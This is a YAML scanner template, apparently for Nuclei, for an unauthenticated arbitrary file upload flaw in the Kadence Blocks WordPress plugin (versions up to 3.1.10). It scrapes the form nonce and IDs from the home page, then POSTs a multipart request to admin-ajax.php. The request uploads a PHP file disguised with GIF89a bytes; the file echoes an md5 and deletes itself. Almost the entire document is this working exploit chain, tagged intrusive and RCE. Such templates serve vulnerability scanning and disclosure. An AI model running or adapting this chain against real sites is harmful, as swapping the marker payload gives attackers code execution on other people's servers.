106 lines
3.7 KiB
YAML
106 lines
3.7 KiB
YAML
id: wp-kadence-blocks-rce
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info:
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name: WordPress Gutenberg Blocks Plugin <= 3.1.10 - Arbitrary File Upload
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author: theamanrawat
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severity: critical
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description: |
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The Kadence Blocks for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the process_fields function in versions up to, and including, 3.1.10. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
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remediation: Fixed in 3.1.11
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reference:
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- https://wordpress.org/plugins/kadence-blocks/
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- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kadence-blocks/kadence-blocks-3110-unauthenticated-arbitrary-file-upload
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metadata:
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verified: true
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max-request: 2
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publicwww-query: "/wp-content/plugins/kadence-blocks/"
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tags: rce,wpscan,wordpress,wp-plugin,wp,kadence-blocks,fileupload,intrusive
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variables:
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str: "{{to_lower(rand_text_alpha(5))}}"
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email: "{{rand_base(8)}}@{{rand_base(5)}}.com"
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filename: "{{to_lower(rand_text_alpha(5))}}"
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string: "wp-kadence-blocks-rce"
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=---------------------------8779924633391890046425977712
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="fieldfb0b94-aa"
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{{str}}
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="fieldec6f26-c7"
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{{email}}
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="fieldc9b894-4c"
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{{str}}
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="field983473-0a"; filename="{{filename}}.php"
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Content-Type: application/x-php
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GIF89a
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<?php echo md5("{{string}}");unlink(__FILE__);?>
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="_kb_adv_form_post_id"
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{{post_id}}
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="action"
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kb_process_advanced_form_submit
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="_kb_adv_form_id"
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{{form_id}}
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-----------------------------8779924633391890046425977712
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Content-Disposition: form-data; name="_kb_form_verify"
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{{nonce}}
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-----------------------------8779924633391890046425977712--
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matchers:
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- type: dsl
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dsl:
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- 'status_code_2 == 200'
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- 'contains(header_2, "application/json")'
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- 'contains_all(body_2, "Submission Success, Thanks for getting in touch!", "success\":true")'
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condition: and
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extractors:
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- type: regex
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name: nonce
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part: body_1
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group: 1
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regex:
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- 'kb_adv_form_params\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
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internal: true
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- type: regex
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name: form_id
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part: body_1
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group: 1
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regex:
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- 'name="_kb_adv_form_id" value="([^"]*)"'
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internal: true
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- type: regex
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name: post_id
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part: body_1
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group: 1
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regex:
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- 'name="_kb_adv_form_post_id" value="([^"]*)"'
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internal: true
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# digest: 4b0a00483046022100f889dab0efb0786026649601fe4c46143b278fef7e1d49806b792b848b5d8dd20221009095af79faac87f0561640762f75f867fd3944358489cc0f032f1ec47e26ec87:922c64590222798bb761d5b6d8e72950
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